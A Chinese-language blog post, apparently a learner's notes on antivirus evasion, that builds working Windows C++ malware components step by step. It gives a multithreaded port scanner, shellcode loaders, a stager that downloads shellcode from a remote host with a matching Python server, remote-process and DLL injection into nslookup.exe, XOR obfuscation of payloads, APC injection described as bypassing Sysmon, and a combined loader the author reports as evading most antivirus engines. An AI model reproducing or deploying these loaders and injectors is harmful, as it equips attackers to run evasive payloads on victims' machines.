这里面原本是想学习一点免杀的,但是免杀涉及 Windows 的编程技巧太多了(但是又不想去拿别人的东西用,一是开源的东西很快就会被杀,二是不甘心自己就这样),于是决定在这里面补充一下知识点,希望自己能写出自己的免杀的程序和对后面学习 Windows 相关编程有用
SOCKET连接
主要API函数
初始化 WSADATA结构
int WSAStartup(
WORD wVersionRequested, //调用的 Winsock版本( MAKEWORD(2,2); //调用2.2版本 )
LPWSADATA lpWSAData //指向的 WSADATA的指针,返回详细信息
);
#include <WinSock2.h> //socks通信头文件
#include <iostream> //输入输出流头文件
#include <Windows.h> //系统调用头文件
#include <string>
#include <stdio.h>
#include <time.h>
#include <ws2tcpip.h> //ip转换头文件
#pragma comment(lib,"ws2_32.lib") //添加链接库
#pragma warning(disable:4996) //忽略警告
using namespace std;
int main()
{
WSADATA wsd;
if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0)
{
cout << "WSAStartup Faild" << endl;
return 0;
}
int port = 445;
SOCKET sHost;
SOCKADDR_IN ip;
sHost = socket(AF_INET , SOCK_STREAM,IPPROTO_TCP);//
if (INVALID_SOCKET == sHost)
{
cout << "Socket Failed!";
WSACleanup();
return -1;
}
ip.sin_family = AF_INET;
ip.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
ip.sin_port = htons(port);
int test = connect(sHost,(LPSOCKADDR)&ip,sizeof(ip));
if (test == SOCKET_ERROR)
{
closesocket(sHost);
return -1;
}
printf("%d端口开放!",port);
return 0;
}
多线程实现端口扫描
主要API
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes, //指向结构的指针
SIZE_T dwStackSize, // 堆栈的初始大小
LPTHREAD_START_ROUTINE lpStartAddress, //函数指针
__drv_aliasesMem LPVOID lpParameter, //变量指针
DWORD dwCreationFlags, //线程创建标志
LPDWORD lpThreadId //线程标识符指针
);
DWORD WaitForSingleObject(
HANDLE hHandle, //对象句柄
DWORD dwMilliseconds //超时时间间隔
);
#include <WinSock2.h> //socks通信头文件
#include <iostream> //输入输出流头文件
#include <Windows.h> //系统调用头文件
#include <string>
#include <stdio.h>
#include <time.h>
#include <ws2tcpip.h> //ip转换头文件
#pragma comment(lib,"ws2_32.lib") //添加链接库
#pragma warning(disable:4996) //忽略警告
using namespace std;
DWORD WINAPI PortScan(LPVOID port);
const char * ip_global;
int main(int argc ,char* argv[])
{
if (argc < 3)
{
cout << "example: PortScan.exe ip max_port(1~max_port)" << endl;
return 0;
}
ip_global = argv[1];
WSADATA wsd;//
HANDLE handle=NULL;//线程句柄
DWORD dwThreadID;//现场ID
clock_t start, end;
if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0)
{
cout << "WSAStartup Faild" << endl;
return 0;
}
int min_port = 1;
string test = argv[2];
int max_port = atoi(test.c_str());
start = clock();
for (int i = min_port; i <= max_port; i++)
{
handle = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)PortScan,(LPVOID)i,0,&dwThreadID);
}
WaitForSingleObject(handle,INFINITE);//等待线程结束,设置超时时间
end = clock();
int time = end - start;
printf("共用时 %d ms",time);
system("pause");
return 0;
}
DWORD WINAPI PortScan(LPVOID port) {
int QAQ = (int)(LPVOID)port;
SOCKET sHost;
SOCKADDR_IN ip;
sHost = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);//
if (INVALID_SOCKET == sHost)
{
cout << "Socket Failed!";
WSACleanup();
return -1;
}
ip.sin_family = AF_INET;
ip.sin_addr.S_un.S_addr = inet_addr(ip_global);
ip.sin_port = htons(QAQ);
int test = connect(sHost, (LPSOCKADDR)&ip, sizeof(ip));
if (test == SOCKET_ERROR)
{
closesocket(sHost);
return -1;
}
printf("%d端口开放!
", port);
return 0;
}
使用方法
PortScan.exe 127.0.0.1 12138
参考: https://github.com/lengjibo/RedTeamTools
简单申请内存空间载入Shellcode
主要API
LPVOID VirtualAlloc(
LPVOID lpAddress, //起始指针
DWORD dwSize, //指定大小
DWORD flAllocationType, //分配类型
DWORD flProtect //页属性
);
void CopyMemory(
_In_ PVOID Destination, //目标起始地址
_In_ const VOID *Source, // 要复制的起始地址
_In_ SIZE_T Length //内存块的大小(字节为单位)
);
// VirtualAlloc.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <Windows.h>
int main()
{
DWORD dwThreadID;
HANDLE handle;
int shellcode_size;
unsigned char buf[]="";
shellcode_size = sizeof(buf);//
char* shellcode = (char*)VirtualAlloc(NULL,shellcode_size,MEM_COMMIT,PAGE_EXECUTE_READWRITE);//申请内存页,大小为shellcode的大小,属性为 可读可写可执行
CopyMemory(shellcode,buf,shellcode_size);//将Shellcode放进内存页
handle = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)shellcode,NULL,NULL,&dwThreadID);//创建线程
WaitForSingleObject(handle,INFINITE);//等待线程结束
return 0;
}
将shellcode载入,就可以执行我们的恶意 payload

当然因为 shellcode的特征特别明显,很理所当然的被杀了
使用SOCKET发送Shellcode
#include <iostream>
#include <WinSock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32.lib")
#pragma warning(disable:4996)
#pragma comment(lib,"winmm.lib")
#pragma comment( linker, "/subsystem:"windows" /entry:"mainCRTStartup"")
using namespace std;
int main()
{
if (1 == 1) {
char bufcode[1024];
WSADATA wsd;
if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0)
{
cout << "WSAStartup Faild" << endl;
return 0;
}
int port = 36444;
SOCKET sHost;
SOCKADDR_IN ip;
sHost = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);//
if (INVALID_SOCKET == sHost)
{
cout << "Socket Failed!";
WSACleanup();
return -1;
}
ip.sin_family = AF_INET;
ip.sin_addr.S_un.S_addr = inet_addr("192.168.10.209");
ip.sin_port = htons(port);
int test = connect(sHost, (LPSOCKADDR)&ip, sizeof(ip));
if (SOCKET_ERROR == test)
{
cout << "connect failed" << endl;
closesocket(sHost);
WSACleanup();
return 0;
}
ZeroMemory(bufcode, 1024);
recv(sHost, bufcode, 1024, 0);
closesocket(sHost);
WSACleanup();
char* shellcode = (char*)VirtualAlloc(NULL, 1024, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
CopyMemory(shellcode, bufcode, 1024);
DWORD ThreadID;
HANDLE handle;
handle = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)shellcode, NULL, NULL, &ThreadID);
WaitForSingleObject(handle, INFINITE);
}
return 0;
}
Python
import socket
import threading
import time
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 36444))
s.listen(20)
timeout = 10
socket.setdefaulttimeout(timeout)
while True:
sock, addr = s.accept()
t = threading.Thread(target=tcplink, args=(sock, addr))
t.start()
def tcplink(sock, addr):
print('Start download shellcode %s:%s...' % addr)
shellcode = b"" #注意使用 Python的Shellcode
print(len(shellcode))
while True:
sock.send(shellcode)
sock.close()
print('Finish %s:%s ' % addr)
if __name__ == '__main__':
main()
进程注入
使用的API
参考 https://docs.microsoft.com/en-us/windows/win32/procthread/process-creation-flags
BOOL CreateProcess(
LPCSTR lpApplicationName, // Executable
LPSTR lpCommandLine, // cmdline
LPSECURITY_ATTRIBUTES lpProcessAttributes, // Process handle
LPSECURITY_ATTRIBUTES lpThreadAttributes, // Thread handle
BOOL bInheritHandles, //Set handle inheritance
DWORD dwCreationFlags, //creation flags(CREATE_NO_WINDOW)
LPVOID lpEnvironment, //Use parent's environment block
LPCSTR lpCurrentDirectory,//Use parent's starting directory
LPSTARTUPINFOA lpStartupInfo,//Pointer to STARTUPINFO structure
LPPROCESS_INFORMATION lpProcessInformation//Pointer to PROCESS_INFORMATION structure
);
创建进程的Demo
#include <Windows.h>
#include <stdio.h>
#include <iostream>
int main(int argc, TCHAR * argv[]) {
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si,sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi,sizeof(pi));
LPCWSTR executable = TEXT("C:\Windows\System32\nslookup.exe");
if (!CreateProcess(executable,
NULL,
NULL,
NULL,
FALSE,
CREATE_NO_WINDOW,
NULL,
NULL,
&si,
&pi
)) {
DWORD errCode = GetLastError();
std::cout << "CreateProcess Faild:" << errCode << std::endl;
}
WaitForSingleObject(pi.hProcess,INFINITE);
return 0;
}
参考:
https://lengjibo.github.io/syscall/
https://docs.microsoft.com/en-us/windows/win32/procthread/creating-processes

可以看到我们在 ProcessInjection中创建了一个新的进程
进程注入的API函数
//在指定进程的虚拟地址空间内保留,提交或更改内存区域的状态。该函数将其分配的内存初始化为零。
LPVOID VirtualAllocEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
//在指定的进程中将数据写入内存区域。必须写入整个区域,否则操作将失败。
BOOL WriteProcessMemory(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T *lpNumberOfBytesWritten
);
//创建一个在另一个进程的虚拟地址空间中运行的线程。
HANDLE CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
#include <Windows.h>
#include <stdio.h>
#include <iostream>
int main(int argc, TCHAR * argv[]) {
unsigned char buf[] ="";//此处填写 shellcode,因为sellcode有特征建议用异或或者其他方式处理一下
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si,sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi,sizeof(pi));
LPCWSTR executable = TEXT("C:\Windows\System32\nslookup.exe");
if (!CreateProcess(executable,
NULL,
NULL,
NULL,
FALSE,
CREATE_NO_WINDOW,
NULL,
NULL,
&si,
&pi
)) {
DWORD errCode = GetLastError();
std::cout << "CreateProcess Faild:" << errCode << std::endl;
}
WaitForSingleObject(pi.hProcess,1000);
LPVOID test;
test = VirtualAllocEx(pi.hProcess,NULL,sizeof(buf),MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess,test,buf,sizeof(buf),NULL);
CreateRemoteThread(pi.hProcess,NULL,0,(LPTHREAD_START_ROUTINE)test,NULL,0,0);
return 0;
}
当然直接 shellcode 的注入方式是不可取的,因为很多shellcode的特征已经被挖掘出来了,所以我们需要 加密 处理一下
https://payloads.online/archivers/2019-11-10/1
倾旋师傅的这个异或就不错
#include <Windows.h>
#include <stdio.h>
#include <iostream>
int main(int argc, TCHAR * argv[]) {
unsigned char buf[] = "";//shellcode
STARTUPINFO si;
PROCESS_INFORMATION pi;
for (int i = 0; i < sizeof(buf); i++) {
buf[i] = buf[i] ^ 10;//异或处理
}
ZeroMemory(&si,sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi,sizeof(pi));
LPCWSTR executable = TEXT("C:\Windows\System32\nslookup.exe");
if (!CreateProcess(executable,
NULL,
NULL,
NULL,
FALSE,
CREATE_NO_WINDOW,
NULL,
NULL,
&si,
&pi
)) {
DWORD errCode = GetLastError();
std::cout << "CreateProcess Faild:" << errCode << std::endl;
}
WaitForSingleObject(pi.hProcess,1000);
LPVOID test;
test = VirtualAllocEx(pi.hProcess,NULL,sizeof(buf),MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess,test,buf,sizeof(buf),NULL);
CreateRemoteThread(pi.hProcess,NULL,0,(LPTHREAD_START_ROUTINE)test,NULL,0,0);
return 0;
}
看来国内杀软确实不行

参考资料
https://lengjibo.github.io/syscall/
google
Socket+进程注入
#include <iostream>
#include <WinSock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32.lib")
#pragma warning(disable:4996)
#pragma comment(lib,"winmm.lib")
#pragma comment( linker, "/subsystem:"windows" /entry:"mainCRTStartup"")
using namespace std;
int main()
{
if (1 == 1) {
char bufcode[1024];
WSADATA wsd;
if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0)
{
cout << "WSAStartup Faild" << endl;
return 0;
}
int port = 36444;
SOCKET sHost;
SOCKADDR_IN ip;
sHost = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);//
if (INVALID_SOCKET == sHost)
{
cout << "Socket Failed!";
WSACleanup();
return -1;
}
ip.sin_family = AF_INET;
ip.sin_addr.S_un.S_addr = inet_addr("192.168.43.189");
ip.sin_port = htons(port);
int test = connect(sHost, (LPSOCKADDR)&ip, sizeof(ip));
if (SOCKET_ERROR == test)
{
cout << "connect failed" << endl;
closesocket(sHost);
WSACleanup();
return 0;
}
ZeroMemory(bufcode, 1024);
recv(sHost, bufcode, 1024, 0);
closesocket(sHost);
WSACleanup();
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
LPCWSTR executable = TEXT("C:\Windows\System32\nslookup.exe");
if (!CreateProcess(executable,
NULL,
NULL,
NULL,
FALSE,
CREATE_NO_WINDOW,
NULL,
NULL,
&si,
&pi
)) {
DWORD errCode = GetLastError();
std::cout << "CreateProcess Faild:" << errCode << std::endl;
}
WaitForSingleObject(pi.hProcess, 1000);
LPVOID testflag;
testflag = VirtualAllocEx(pi.hProcess, NULL, sizeof(bufcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, testflag, bufcode, sizeof(bufcode), NULL);
CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)testflag, NULL, 0, 0);
}
return 0;
}
服务端代码
import socket
import threading
import time
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 36444))
s.listen(20)
timeout = 10
socket.setdefaulttimeout(timeout)
while True:
sock, addr = s.accept()
t = threading.Thread(target=tcplink, args=(sock, addr))
t.start()
def tcplink(sock, addr):
print('Start download shellcode %s:%s...' % addr)
shellcode = b"" #Here is shellcode
print(len(shellcode))
while True:
sock.send(shellcode)
sock.close()
print('Finish %s:%s ' % addr)
if __name__ == '__main__':
main()
Dll注入
用到的API函数
//打开现有的本地过程对象
HANDLE OpenProcess(
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwProcessId
);
//从指定的动态链接库(DLL)检索导出的函数或变量的地址
FARPROC GetProcAddress(
HMODULE hModule,
LPCSTR lpProcName
);
//将指定的模块加载到调用进程的地址空间中。指定的模块可能会导致其他模块被加载。
HMODULE LoadLibraryW(
LPCWSTR lpLibFileName
);
//还有一些其他的用到的上方进程注入一样的API
#include <Windows.h>
#include <stdio.h>
int main(int argc, char* argv[]) {
HANDLE ProcessHandle;
if (argc < 2) {
printf("Usage: xxx.exe pid");
return 0;
}
TCHAR dllpath[] = TEXT("C:\users\mikasa\1.dll");
ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));//打开进程获取有所有权限的进程句柄
if (ProcessHandle == NULL) {
printf("OpenProcess Fail!");
return 0;
}
LPVOID test = VirtualAllocEx(ProcessHandle,NULL,sizeof dllpath,MEM_COMMIT,PAGE_READWRITE);//在进程中申请空间,将dll的路径放进去,返回申请的内存基地址
BOOL flag = WriteProcessMemory(ProcessHandle,test,(LPVOID)dllpath,sizeof dllpath,NULL);//在指定的进程中将数据写入内存数据
if (!flag) {
printf("WriteProcessMemory fail!");
}
PTHREAD_START_ROUTINE thread = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")),"LoadLibraryW");//因为是要加载DLL,所有使用GetProcAddress获取LoadLibraryW地址加载dll
CreateRemoteThread(ProcessHandle,NULL,0,thread,test,0,NULL);//在进程中创建线程
CloseHandle(ProcessHandle);//关闭句柄
return 0;
}

进程名会显示为你注入的那个进程
绕过Sysmon对CreateRemoteThread的监控(APC注入)
#include <windows.h>
#include <TlHelp32.h>
#include <vector>
using std::vector;
bool FindProcess(PCWSTR exeName, DWORD& pid, vector<DWORD>& tids) {
auto hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
return false;
pid = 0;
PROCESSENTRY32 pe = { sizeof(pe) };
if (::Process32First(hSnapshot, &pe)) {
do {
if (_wcsicmp(pe.szExeFile, exeName) == 0) {
pid = pe.th32ProcessID;
THREADENTRY32 te = { sizeof(te) };
if (::Thread32First(hSnapshot, &te)) {
do {
if (te.th32OwnerProcessID == pid) {
tids.push_back(te.th32ThreadID);
}
} while (::Thread32Next(hSnapshot, &te));
}
break;
}
} while (::Process32Next(hSnapshot, &pe));
}
::CloseHandle(hSnapshot);
return pid > 0 && !tids.empty();
}
void main()
{
DWORD pid;
vector<DWORD> tids;
if (FindProcess(L"notepad++.exe", pid, tids))
{
printf("OpenProcess
");
HANDLE hProcess = ::OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid);
printf("VirtualAllocEx
");
auto p = ::VirtualAllocEx(hProcess, nullptr, 1 << 12, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
wchar_t buffer[] = L"c:\users\mikasa\1.dll";
printf("WriteProcessMemory
");
::WriteProcessMemory(hProcess, p, buffer, sizeof(buffer), nullptr);
for (const auto& tid : tids)
{
printf("OpenThread
");
HANDLE hThread = ::OpenThread(THREAD_SET_CONTEXT, FALSE, tid);
if (hThread)
{
printf("GetProcAddress
");
::QueueUserAPC((PAPCFUNC)::GetProcAddress(GetModuleHandle(L"kernel32"), "LoadLibraryW"), hThread, (ULONG_PTR)p);
}
}
printf("VirtualFreeEx
");
::VirtualFreeEx(hProcess, p, 0, MEM_RELEASE | MEM_DECOMMIT);
}
}
三好学生师傅的demo
反射型DLL
参考倾旋师傅
https://payloads.online/archivers/2020-03-02/1#%E5%8F%8D%E5%B0%84-dll%E6%B3%A8%E5%85%A5
https://payloads.online/archivers/2020-01-02/1
先生成一个DLL试试

使用Def文件导出
使用LoadLibrary的方式加载
#include <iostream>
#include <Windows.h>
typedef void (*msg)(void);
int main() {
msg RunMsg;
HMODULE hbadcode = LoadLibrary(TEXT("C:\Users\mikasa\source\repos\DllTest\Debug\DllTest.dll"));//取得DLL句柄
RunMsg = (msg)GetProcAddress(hbadcode,"msg");//得到 msg函数基地址
RunMsg();//运行
FreeLibrary(hbadcode);//释放句柄
return 0;
}

使用反射型DLL(太难了,先放在这边吧)
写的一个联和这几天学习的程序(Socket 加载 shellcode/进程注入)
test.h
#pragma once
#include <WinSock2.h>
#include <Windows.h>
#include <iostream>
#include <winbase.h>
#include <tchar.h>
#include <Ws2tcpip.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"winmm.lib")
#pragma comment( linker, "/subsystem:"windows" /entry:"mainCRTStartup"")
char bufcode[1024];
class test
{
public:
test(std::string method);
void GetRun();
void ShellcodeLoad();
void ProcessInjection();
void GetShellcode(char addr[],char port[]);
private:
std::string method;
SOCKET sHost = NULL;
SOCKADDR_IN ip;
STARTUPINFO si;
PROCESS_INFORMATION pi;
};
test.cpp
#include "test.h"
#pragma warning(disable:4996)
test::test(std::string method) {
this->method = method;
}
void test::ProcessInjection() {
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
LPCWSTR executable = TEXT("C:\Windows\System32\nslookup.exe");
if (!CreateProcess(executable,
NULL,
NULL,
NULL,
FALSE,
CREATE_NO_WINDOW,
NULL,
NULL,
&si,
&pi
)) {
DWORD errCode = GetLastError();
std::cout << "CreateProcess Faild:" << errCode << std::endl;
}
WaitForSingleObject(pi.hProcess, 1000);
WaitForSingleObject(pi.hProcess, 1000);
LPVOID test;
test = VirtualAllocEx(pi.hProcess, NULL, sizeof(bufcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, test, bufcode, sizeof(bufcode), NULL);
CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)test, NULL, 0, 0);
}
void test::ShellcodeLoad() {
char* shellcode = (char*)VirtualAlloc(NULL, 1024, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
CopyMemory(shellcode, bufcode, 1024);
DWORD ThreadID;
HANDLE handle;
handle = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)shellcode, NULL, NULL, &ThreadID);
WaitForSingleObject(handle, INFINITE);
}
void test::GetRun() {
std::string demo1 = "ProcessInjection";
std::string demo2 = "shellcodeload";
if (!(this->method.compare(demo2))) {
this->ShellcodeLoad();
}
else {
this->ProcessInjection();
}
}
void test::GetShellcode(char addr[], char port[]) {
WSADATA wsd;
ip.sin_family = AF_INET;
ip.sin_addr.S_un.S_addr = inet_addr(addr);
ip.sin_port = htons((short)atoi(port));
if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0)
{
std::cout << "WSAStartup Faild" << std::endl;
//return 0;
exit(0);
}
sHost = socket(AF_INET, SOCK_STREAM,IPPROTO_TCP);
if (INVALID_SOCKET == sHost) {
std::cout << "Socket Failed!";
WSACleanup();
//return -1;
exit(0);
}
int test = connect(sHost, (LPSOCKADDR)&ip, sizeof(ip));
if (SOCKET_ERROR == test) {
std::cout << "Connect faild" << std::endl;
closesocket(sHost);
WSACleanup();
exit(0);
}
ZeroMemory(bufcode, 1024);
recv(sHost, bufcode, 1024, 0);
closesocket(sHost);
WSACleanup();
}
int main(int argc, char* argv[]) {
std::cout << argc;
if (argc < 4) {
std::cout<<"Usage: xxxx.exe ip port shellcodeload/ProcessInjection"<<std::endl;
return 0;
}
std::string str = argv[3];
test * aa = new test(str);
aa->GetShellcode(argv[1], argv[2]);
aa->GetRun();
return 0;
}
在当前进程申请空间,创建线程执行 shellcode
xxx.exe ip port shellcodeload
创建新的一个进程(nslookup.exe,可以自行更改),获取进程句柄,申请空间,创建线程执行 shellcode
xxx.exe ip port
后语: 单独挑出来说,最开始的SOCKET是最好的,在Vt上面能做到1~2杀,但是不好的一点就是,不注入进程的话,一旦在当前进程中做一些小动作可能会被捕获到(例如注册表的操作)
进程注入的话主要可能就是API函数太敏感了,导致被杀的比较多,但是对于后面的渗透挺有帮助的,例如修改注册表BypassUac等查的不会太严